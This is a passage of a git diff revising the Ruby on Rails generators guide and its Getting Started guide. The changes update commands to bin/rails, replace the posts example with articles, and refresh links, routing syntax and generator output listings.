If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`. +Scaffold templates in Rails frequently use ERB tags; these tags need to be +escaped so that the generated output is valid ERB code. + +For example, the following escaped ERB tag would be needed in the template +(note the extra `%`)... + +```ruby +<%%= stylesheet_include_tag :application %> +``` + +...to generate the following output: + +```ruby +<%= stylesheet_include_tag :application %> +``` + Adding Generators Fallbacks --------------------------- @@ -334,6 +372,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :shoulda, fixture: false g.stylesheets false + g.javascripts false # Add a fallback! g.fallbacks[:shoulda] = :test_unit @@ -343,13 +382,14 @@ end Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators: ```bash -$ rails generate scaffold Comment body:text +$ bin/rails generate scaffold Comment body:text invoke active_record - create db/migrate/20091120151323_create_comments.rb + create db/migrate/20130924143118_create_comments.rb create app/models/comment.rb invoke shoulda create test/models/comment_test.rb create test/fixtures/comments.yml + invoke resource_route route resources :comments invoke scaffold_controller create app/controllers/comments_controller.rb @@ -360,13 +400,17 @@ $ rails generate scaffold Comment body:text create app/views/comments/show.html.erb create app/views/comments/new.html.erb create app/views/comments/_form.html.erb - create app/views/layouts/comments.html.erb invoke shoulda create test/controllers/comments_controller_test.rb invoke my_helper create app/helpers/comments_helper.rb - invoke shoulda - create test/helpers/comments_helper_test.rb + invoke jbuilder + create app/views/comments/index.json.jbuilder + create app/views/comments/show.json.jbuilder + invoke assets + invoke coffee + create app/assets/javascripts/comments.coffee + invoke scss ``` Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication. @@ -402,7 +446,7 @@ This command will generate the `Thud` application, and then apply the template t Templates don't have to be stored on the local system, the `-m` option also supports online templates: ```bash -$ rails new thud -m https://gist.github.com/722911.txt +$ rails new thud -m https://gist.github.com/radar/722911/raw/ ``` Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators. @@ -412,7 +456,7 @@ Generator methods The following are methods available for both generators and templates for Rails. -NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html) +NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) ### `gem` @@ -478,7 +522,7 @@ Replaces text inside a file. gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code' ``` -Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively. +Regular Expressions can be used to make this method more precise. You can also use `append_file` and `prepend_file` in the same way to place code at the beginning and end of a file respectively. ### `application` @@ -531,7 +575,7 @@ This method also takes a block: ```ruby vendor "seeds.rb" do - "puts 'in ur app, seeding ur database'" + "puts 'in your app, seeding your database'" end ``` @@ -579,11 +623,11 @@ Creates an initializer in the `config/initializers` directory of the application initializer "begin.rb", "puts 'this is the beginning'" ``` -This method also takes a block: +This method also takes a block, expected to return a string: ```ruby initializer "begin.rb" do - puts "Almost done!" + "puts 'this is the beginning'" end ``` diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md index 02ec024e5b..03a4703cb8 100644 --- a/guides/source/getting_started.md +++ b/guides/source/getting_started.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Getting Started with Rails ========================== @@ -21,19 +23,22 @@ application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed: -* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or higher -* The [RubyGems](http://rubygems.org/) packaging system - * To learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1) -* A working installation of the [SQLite3 Database](http://www.sqlite.org) +* The [Ruby](https://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer. +* The [RubyGems](https://rubygems.org) packaging system, which is installed with Ruby + versions 1.9 and later. To learn more about RubyGems, please read the [RubyGems Guides](http://guides.rubygems.org). +* A working installation of the [SQLite3 Database](https://www.sqlite.org). Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning -curve diving straight into Rails. There are some good free resources on the -internet for learning Ruby, including: +curve diving straight into Rails. There are several curated lists of online resources +for learning Ruby: + +* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/) +* [reSRC's List of Free Programming Books](http://resrc.io/list/10/list-of-free-programming-books/#ruby) -* [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com) -* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/) -* [Why's (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/) +Be aware that some resources, while still excellent, cover versions of Ruby as old as +1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day +development with Rails. What is Rails? -------------- @@ -45,7 +50,7 @@ code while accomplishing more than many other languages and frameworks. Experienced Rails developers also report that it makes web application development more fun. -Rails is opinionated software. It makes the assumption that there is a "best" +Rails is opinionated software. It makes the assumption that there is the "best" way to do things, and it's designed to encourage that way - and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from @@ -54,24 +59,28 @@ learned elsewhere, you may have a less happy experience. The Rails philosophy includes two major guiding principles: -* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. -* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to -do it, rather than requiring you to specify every little thing through endless configuration files. +* **Don't Repeat Yourself:** DRY is a principle of software development which + states that "Every piece of knowledge must have a single, unambiguous, authoritative + representation within a system." By not writing the same information over and over + again, our code is more maintainable, more extensible, and less buggy. +* **Convention Over Configuration:** Rails has opinions about the best way to do many + things in a web application, and defaults to this set of conventions, rather than + require that you specify every minutiae through endless configuration files. Creating a New Rails Project ---------------------------- The best way to use this guide is to follow each step as it happens, no code or step needed to make this example application has been left out, so you can -literally follow along step by step. You can get the complete code -[here](https://github.com/lifo/docrails/tree/master/guides/code/getting_started). +literally follow along step by step. By following along with this guide, you'll create a Rails project called -`blog`, a -(very) simple weblog. Before you can start building the application, you need to -make sure that you have Rails itself installed. +`blog`, a (very) simple weblog. Before you can start building the application, +you need to make sure that you have Rails itself installed. -TIP: The examples below use # and $ to denote superuser and regular user terminal prompts respectively in a UNIX-like OS. If you are using Windows, your prompt will look something like c:\source_code> +TIP: The examples below use `$` to represent your terminal prompt in a UNIX-like OS, +though it may have been customized to appear differently. If you are using Windows, +your prompt will look something like `c:\source_code>` ### Installing Rails @@ -80,115 +89,169 @@ Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose dollar sign `$` should be run in the command line. Verify that you have a current version of Ruby installed: +TIP: A number of tools exist to help you quickly install Ruby and Ruby +on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), +while Mac OS X users can use [Tokaido](https://github.com/tokaido/tokaidoapp). +For more installation methods for most Operating Systems take a look at +[ruby-lang.org](https://www.ruby-lang.org/en/documentation/installation/). + ```bash $ ruby -v -ruby 1.9.3p327 +ruby 2.0.0p353 +``` + +Many popular UNIX-like OSes ship with an acceptable version of SQLite3. +On Windows, if you installed Rails through Rails Installer, you +already have SQLite installed. Others can find installation instructions +at the [SQLite3 website](https://www.sqlite.org). +Verify that it is correctly installed and in your PATH: + +```bash +$ sqlite3 --version ``` +The program should report its version. + To install Rails, use the `gem install` command provided by RubyGems: ```bash $ gem install rails ``` -TIP. A number of tools exist to help you quickly install Ruby and Ruby -on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use -[Rails One Click](http://railsoneclick.com). - -To verify that you have everything installed correctly, you should be able to run the following: +To verify that you have everything installed correctly, you should be able to +run the following: ```bash $ rails --version ``` -If it says something like "Rails 3.2.9", you are ready to continue. +If it says something like "Rails 5.0.0", you are ready to continue. ### Creating the Blog Application -Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself. +Rails comes with a number of scripts called generators that are designed to make +your development life easier by creating everything that's necessary to start +working on a particular task. One of these is the new application generator, +which will provide you with the foundation of a fresh Rails application so that +you don't have to write it yourself. -To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type: +To use this generator, open a terminal, navigate to a directory where you have +rights to create files, and type: ```bash $ rails new blog ``` -This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in `Gemfile` using `bundle install`. +This will create a Rails application called Blog in a `blog` directory and +install the gem dependencies that are already mentioned in `Gemfile` using +`bundle install`. -TIP: You can see all of the command line options that the Rails -application builder accepts by running `rails new -h`. +TIP: You can see all of the command line options that the Rails application +builder accepts by running `rails new -h`. -After you create the blog application, switch to its folder to continue work directly in that application: +After you create the blog application, switch to its folder: ```bash $ cd blog ``` -The `rails new blog` command we ran above created a folder in your -working directory called `blog`. The `blog` directory has a number of -auto-generated files and folders that make up the structure of a Rails -application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default: +The `blog` directory has a number of auto-generated files and folders that make +up the structure of a Rails application. Most of the work in this tutorial will +happen in the `app` folder, but here's a basic rundown on the function of each +of the files and folders that Rails created by default: | File/Folder | Purpose | | ----------- | ------- | |app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.| -|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)| +|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, deploy or run your application.| +|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).| |config.ru|Rack configuration for Rack based servers used to start the application.| |db/|Contains your current database schema, as well as the database migrations.| -|doc/|In-depth documentation for your application.| -|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) | +|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the [Bundler website](http://bundler.io).| |lib/|Extended modules for your application.| |log/|Application log files.| -|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.| +|public/|The only folder seen by the world as-is. Contains static files and compiled assets.| |Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| |README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| -|script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.| -|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html)| -|tmp/|Temporary files (like cache, pid and session files)| -|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).| +|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).| +|tmp/|Temporary files (like cache, pid, and session files).| +|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.| Hello, Rails! ------------- -To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running. +To begin with, let's get some text up on screen quickly. To do this, you need to +get your Rails application server running. ### Starting up the Web Server -You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running: +You actually have a functional Rails application already. To see it, you need to +start a web server on your development machine. You can do this by running the +following in the `blog` directory: ```bash -$ rails server +$ bin/rails server ``` -TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme). +TIP: Compiling CoffeeScript and JavaScript asset compression requires you +have a JavaScript runtime available on your system, in the absence +of a runtime you will see an `execjs` error during asset compilation. +Usually Mac OS X and Windows come with a JavaScript runtime installed. +Rails adds the `therubyracer` gem to the generated `Gemfile` in a +commented line for new apps and you can uncomment if you need it. +`therubyrhino` is the recommended runtime for JRuby users and is added by +default to the `Gemfile` in apps generated under JRuby. You can investigate +all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme). -This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to <http://localhost:3000>. You should see the Rails default information page: +This will fire up WEBrick, a web server distributed with Ruby by default. To see +your application in action, open a browser window and navigate to +<http://localhost:3000>. You should see the Rails default information page: - + -TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. To verify the server has stopped you should see your command prompt cursor again. For most UNIX-like systems including Mac OS X this will be a dollar sign `$`. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server. +TIP: To stop the web server, hit Ctrl+C in the terminal window where it's +running. To verify the server has stopped you should see your command prompt +cursor again. For most UNIX-like systems including Mac OS X this will be a +dollar sign `$`. In development mode, Rails does not generally require you to +restart the server; changes you make in files will be automatically picked up by +the server. -The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment. +The "Welcome aboard" page is the _smoke test_ for a new Rails application: it +makes sure that you have your software configured correctly enough to serve a +page. You can also click on the _About your application's environment_ link to +see a summary of your application's environment. ### Say "Hello", Rails -To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_. +To get Rails saying "Hello", you need to create at minimum a _controller_ and a +_view_. -A controller's purpose is to receive specific requests for the application. _Routing_ decides which controller receives which requests. Often, there is more than one route to each controller, and different routes can be served by different _actions_. Each action's purpose is to collect information to provide it to a view. +A controller's purpose is to receive specific requests for the application. +_Routing_ decides which controller receives which requests. Often, there is more +than one route to each controller, and different routes can be served by +different _actions_. Each action's purpose is to collect information to provide +it to a view. -A view's purpose is to display this information in a human readable format. An important distinction to make is that it is the _controller_, not the view, where information is collected. The view should just display that information. By default, view templates are written in a language called ERB (Embedded Ruby) which is converted by the request cycle in Rails before being sent to the user. +A view's purpose is to display this information in a human readable format. An +important distinction to make is that it is the _controller_, not the view, +where information is collected. The view should just display that information. +By default, view templates are written in a language called eRuby (Embedded +Ruby) which is processed by the request cycle in Rails before being sent to the +user. -To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this: +To create a new controller, you will need to run the "controller" generator and +tell it you want a controller called "welcome" with an action called "index", +just like this: ```bash -$ rails generate controller welcome index +$ bin/rails generate controller welcome index ``` Rails will create several files and a route for you. ```bash create app/controllers/welcome_controller.rb - route get "welcome/index" + route get 'welcome/index' invoke erb create app/views/welcome create app/views/welcome/index.html.erb @@ -196,18 +259,20 @@ invoke test_unit create test/controllers/welcome_controller_test.rb invoke helper create app/helpers/welcome_helper.rb -invoke test_unit -create test/helpers/welcome_helper_test.rb invoke assets invoke coffee -create app/assets/javascripts/welcome.js.coffee +create app/assets/javascripts/welcome.coffee invoke scss -create app/assets/stylesheets/welcome.css.scss +create app/assets/stylesheets/welcome.scss ``` -Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` and the view, located at `app/views/welcome/index.html.erb`. +Most important of these are of course the controller, located at +`app/controllers/welcome_controller.rb` and the view, located at +`app/views/welcome/index.html.erb`. -Open the `app/views/welcome/index.html.erb` file in your text editor and edit it to contain a single line of code: +Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all +of the existing code in the file, and replace it with the following single line +of code: ```html <h1>Hello, Rails!</h1> @@ -215,134 +280,233 @@ Open the `app/views/welcome/index.html.erb` file in your text editor and edit it ### Setting the Application Home Page -Now that we have made the controller and view, we need to tell Rails when we want Hello Rails! to show up. In our case, we want it to show up when we navigate to the root URL of our site, <http://localhost:3000>. At the moment, "Welcome Aboard" is occupying that spot. +Now that we have made the controller and view, we need to tell Rails when we +want "Hello, Rails!" to show up. In our case, we want it to show up when we +navigate to the root URL of our site, <http://localhost:3000>. At the moment, +"Welcome aboard" is occupying that spot. Next, you have to tell Rails where your actual home page is located. Open the file `config/routes.rb` in your editor. ```ruby -Blog::Application.routes.draw do - get "welcome/index" +Rails.application.routes.draw do + get 'welcome/index' # The priority is based upon order of creation: # first created -> highest priority. - # ... + # # You can have the root of your site routed with "root" - # root to: "welcome#index" + # root 'welcome#index' + # + # ... ``` -This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root :to` and uncomment it. It should look something like the following: +This is your application's _routing file_ which holds entries in a special +[DSL (domain-specific language)](http://en.wikipedia.org/wiki/Domain-specific_language) +that tells Rails how to connect incoming requests to +controllers and actions. This file contains many sample routes on commented +lines, and one of them actually shows you how to connect the root of your site +to a specific controller and action. Find the line beginning with `root` and +uncomment it. It should look something like the following: ```ruby -root to: "welcome#index" +root 'welcome#index' ``` -The `root to: "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to <http://localhost:3000/welcome/index> to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`). +`root 'welcome#index'` tells Rails to map requests to the root of the +application to the welcome controller's index action and `get 'welcome/index'` +tells Rails to map requests to <http://localhost:3000/welcome/index> to the +welcome controller's index action. This was created earlier when you ran the +controller generator (`rails generate controller welcome index`). -If you navigate to <http://localhost:3000> in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly. +Launch the web server again if you stopped it to generate the controller (`rails +server`) and navigate to <http://localhost:3000> in your browser. You'll see the +"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`, +indicating that this new route is indeed going to `WelcomeController`'s `index` +action and is rendering the view correctly. TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html). Getting Up and Running ---------------------- -Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance. +Now that you've seen how to create a controller, an action and a view, let's +create something with a bit more substance. -In the Blog application, you will now create a new _resource_. A resource is the term used for a collection of similar objects, such as posts, people or animals. You can create, read, update and destroy items for a resource and these operations are referred to as _CRUD_ operations. +In the Blog application, you will now create a new _resource_. A resource is the +term used for a collection of similar objects, such as articles, people or +animals. +You can create, read, update and destroy items for a resource and these +operations are referred to as _CRUD_ operations. -In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this: +Rails provides a `resources` method which can be used to declare a standard REST +resource. You need to add the _article resource_ to the +`config/routes.rb` as follows: - +```ruby +Rails.application.routes.draw do -It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards. + resources :articles -### Laying down the ground work + root 'welcome#index' +end +``` -The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. If you attempt to navigate to that now — by visiting <http://localhost:3000/posts/new> — Rails will give you a routing error: +If you run `rake routes`, you'll see that it has defined routes for all the +standard RESTful actions. The meaning of the prefix column (and other columns) +will be seen later, but for now notice that Rails has inferred the +singular form `article` and makes meaningful use of the distinction. - +```bash +$ bin/rake routes + Prefix Verb URI Pattern Controller#Action + articles GET /articles(.:format) articles#index + POST /articles(.:format) articles#create + new_article GET /articles/new(.:format) articles#new +edit_article GET /articles/:id/edit(.:format) articles#edit + article GET /articles/:id(.:format) articles#show + PATCH /articles/:id(.:format) articles#update + PUT /articles/:id(.:format) articles#update + DELETE /articles/:id(.:format) articles#destroy + root GET / welcome#index +``` -This is because there is nowhere inside the routes for the application — defined inside `config/routes.rb` — that defines this route. By default, Rails has no routes configured at all, besides the root route you defined earlier, and so you must define your routes as you need them. +In the next section, you will add the ability to create new articles in your +application and be able to view them. This is the "C" and the "R" from CRUD: +creation and reading. The form for doing this will look like this: - To do this, you're going to need to create a route inside `config/routes.rb` file, on a new line between the `do` and the `end` for the `draw` method: + -```ruby -get "posts/new" -``` +It will look a little basic for now, but that's ok. We'll look at improving the +styling for it afterwards. -This route is a super-simple route: it defines a new route that only responds to `GET` requests, and that the route is at `posts/new`. But how does it know where to go without the use of the `:to` option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller. +### Laying down the ground work -With the route defined, requests can now be made to `/posts/new` in the application. Navigate to <http://localhost:3000/posts/new> and you'll see another routing error: +Firstly, you need a place within the application to create a new article. A +great place for that would be at `/articles/new`. With the route already +defined, requests can now be made to `/articles/new` in the application. +Navigate to <http://localhost:3000/articles/new> and you'll see a routing +error: - + -This error is happening because this route need a controller to be defined. The route is attempting to find that controller so it can serve the request, but with the controller undefined, it just can't do that. The solution to this particular problem is simple: you need to create a controller called `PostsController`. You can do this by running this command: +This error occurs because the route needs to have a controller defined in order +to serve the request. The solution to this particular problem is simple: create +a controller called `ArticlesController`. You can do this by running this +command: ```bash -$ rails g controller posts +$ bin/rails g controller articles ``` -If you open up the newly generated `app/controllers/posts_controller.rb` you'll see a fairly empty controller: +If you open up the newly generated `app/controllers/articles_controller.rb` +you'll see a fairly empty controller: ```ruby -class PostsController < ApplicationController +class ArticlesController < ApplicationController end ``` -A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system. +A controller is simply a class that is defined to inherit from +`ApplicationController`. +It's inside this class that you'll define methods that will become the actions +for this controller. These actions will perform CRUD operations on the articles +within our system. + +NOTE: There are `public`, `private` and `protected` methods in Ruby, +but only `public` methods can be actions for controllers. +For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/). -If you refresh <http://localhost:3000/posts/new> now, you'll get a new error: +If you refresh <http://localhost:3000/articles/new> now, you'll get a new error: - + -This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process. +This error indicates that Rails cannot find the `new` action inside the +`ArticlesController` that you just generated. This is because when controllers +are generated in Rails they are empty by default, unless you tell it +your desired actions during the generation process. -To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open `app/controllers/posts_controller.rb` and inside the `PostsController` class, define a `new` method like this: +To manually define an action inside a controller, all you need to do is to +define a new method inside the controller. Open +`app/controllers/articles_controller.rb` and inside the `ArticlesController` +class, define the `new` method so that your controller now looks like this: ```ruby -def new +class ArticlesController < ApplicationController + def new + end end ``` -With the `new` method defined in `PostsController`, if you refresh <http://localhost:3000/posts/new> you'll see another error: +With the `new` method defined in `ArticlesController`, if you refresh +<http://localhost:3000/articles/new> you'll see another error: + +![Template is missing for articles/new] +(images/getting_started/template_is_missing_articles_new.png) - +You're getting this error now because Rails expects plain actions like this one +to have views associated with them to display their information. With no view +available, Rails will raise an exception. -You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out. +In the above image, the bottom line has been truncated. Let's see what the full +error message looks like: -In the above image, the bottom line has been truncated. Let's see what the full thing looks like: +>Missing template articles/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views" -<blockquote> -Missing template posts/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views" -</blockquote> +That's quite a lot of text! Let's quickly go through and understand what each +part of it means. -That's quite a lot of text! Let's quickly go through and understand what each part of it does. +The first part identifies which template is missing. In this case, it's the +`articles/new` template. Rails will first look for this template. If not found, +then it will attempt to load a template called `application/new`. It looks for +one here because the `ArticlesController` inherits from `ApplicationController`. -The first part identifies what template is missing. In this case, it's the `posts/new` template. Rails will first look for this template. If not found, then it will attempt to load a template called `application/new`. It looks for one here because the `PostsController` inherits from `ApplicationController`. +The next part of the message contains a hash. The `:locale` key in this hash +simply indicates which spoken language template should be retrieved. By default, +this is the English - or "en" - template. The next key, `:formats` specifies the +format of template to be served in response. The default format is `:html`, and +so Rails is looking for an HTML template. The final key, `:handlers`, is telling +us what _template handlers_ could be used to render our template. `:erb` is most +commonly used for HTML templates, `:builder` is used for XML templates, and +`:coffee` uses CoffeeScript to build JavaScript templates. -The next part of the message contains a hash. The `:locale` key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English — or "en" — template. The next key, `:formats` specifies the format of template to be served in response. The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly used for HTML templates, `:builder` is used for XML templates, and `:coffee` uses CoffeeScript to build JavaScript templates. +The final part of this message tells us where Rails has looked for the templates. +Templates within a basic Rails application like this are kept in a single +location, but in more complex applications it could be many different paths. -The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths. +The simplest template that would work in this case would be one located at +`app/views/articles/new.html.erb`. The extension of this file name is important: +the first extension is the _format_ of the template, and the second extension +is the _handler_ that will be used. Rails is attempting to find a template +called `articles/new` within `app/views` for the application. The format for +this template can only be `html` and the handler must be one of `erb`, +`builder` or `coffee`. Because you want to create a new HTML form, you will be +using the `ERB` language which is designed to embed Ruby in HTML. -The simplest template that would work in this case would be one located at `app/views/posts/new.html.erb`. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called `posts/new` within `app/views` for the application. The format for this template can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. Because you want to create a new HTML form, you will be using the `ERB` language. Therefore the file should be called `posts/new.html.erb` and needs to be located inside the `app/views` directory of the application. +Therefore the file should be called `articles/new.html.erb` and needs to be +located inside the `app/views` directory of the application. -Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it: +Go ahead now and create a new file at `app/views/articles/new.html.erb` and +write this content in it: ```html -<h1>New Post</h1> +<h1>New Article</h1> ``` -When you refresh <http://localhost:3000/posts/new> you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post. +When you refresh <http://localhost:3000/articles/new> you'll now see that the +page has a title. The route, controller, action and view are now working +harmoniously! It's time to create the form for a new article. ### The first form -To create a form within this template, you will use a <em>form -builder</em>. The primary form builder for Rails is provided by a helper -method called `form_for`. To use this method, add this code into `app/views/posts/new.html.erb`: +To create a form within this template, you will use a *form +builder*. The primary form builder for Rails is provided by a helper +method called `form_for`. To use this method, add this code into +`app/views/articles/new.html.erb`: ```html+erb -<%= form_for :post do |f| %> +<%= form_for :article do |f| %> <p> <%= f.label :title %><br> <%= f.text_field :title %> @@ -359,46 +523,76 @@ method called `form_for`. To use this method, add this code into `app/views/post <% end %> ``` -If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy! +If you refresh the page now, you'll see the exact same form as in the example. +Building forms in Rails is really just that easy! When you call `form_for`, you pass it an identifying object for this -form. In this case, it's the symbol `:post`. This tells the `form_for` +form. In this case, it's the symbol `:article`. This tells the `form_for` helper what this form is for. Inside the block for this method, the -`FormBuilder` object — represented by `f` — is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to `submit` on the `f` object will create a submit button for the form. +`FormBuilder` object - represented by `f` - is used to build two labels and two +text fields, one each for the title and text of an article. Finally, a call to +`submit` on the `f` object will create a submit button for the form. -There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the `action` attribute for the form is pointing at `/posts/new`. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post. +There's one problem with this form though. If you inspect the HTML that is +generated, by viewing the source of the page, you will see that the `action` +attribute for the form is pointing at `/articles/new`. This is a problem because +this route goes to the very page that you're on right at the moment, and that +route should only be used to display the form for a new article. The form needs to use a different URL in order to go somewhere else. This can be done quite simply with the `:url` option of `form_for`. Typically in Rails, the action that is used for new form submissions like this is called "create", and so the form should be pointed to that action. -Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this: +Edit the `form_for` line inside `app/views/articles/new.html.erb` to look like +this: ```html+erb -<%= form_for :post, url: { action: :create } do |f| %> +<%= form_for :article, url: articles_path do |f| %> ``` -In this example, a `Hash` object is passed to the `:url` option. What Rails will do with this is that it will point the form to the `create` action of the current controller, the `PostsController`, and will send a `POST` request to that route. For this to work, you will need to add a route to `config/routes.rb`, right underneath the one for "posts/new": +In this example, the `articles_path` helper is passed to the `:url` option. +To see what Rails will do with this, we look back at the output of +`rake routes`: -```ruby -post "posts" => "posts#create" +```bash +$ bin/rake routes + Prefix Verb URI Pattern Controller#Action + articles GET /articles(.:format) articles#index + POST /articles(.:format) articles#create + new_article GET /articles/new(.:format) articles#new +edit_article GET /articles/:id/edit(.:format) articles#edit + article GET /articles/:id(.:format) articles#show + PATCH /articles/:id(.:format) articles#update + PUT /articles/:id(.:format) articles#update + DELETE /articles/:id(.:format) articles#destroy + root GET / welcome#index ``` -By using the `post` method rather than the `get` method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web. +The `articles_path` helper tells Rails to point the form to the URI Pattern +associated with the `articles` prefix; and the form will (by default) send a +`POST` request to that route. This is associated with the `create` action of +the current controller, the `ArticlesController`. -With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error: +With the form and its associated route defined, you will be able to fill in the +form and then click the submit button to begin the process of creating a new +article, so go ahead and do that. When you submit the form, you should see a +familiar error: - +![Unknown action create for ArticlesController] +(images/getting_started/unknown_action_create_for_articles.png) -You now need to create the 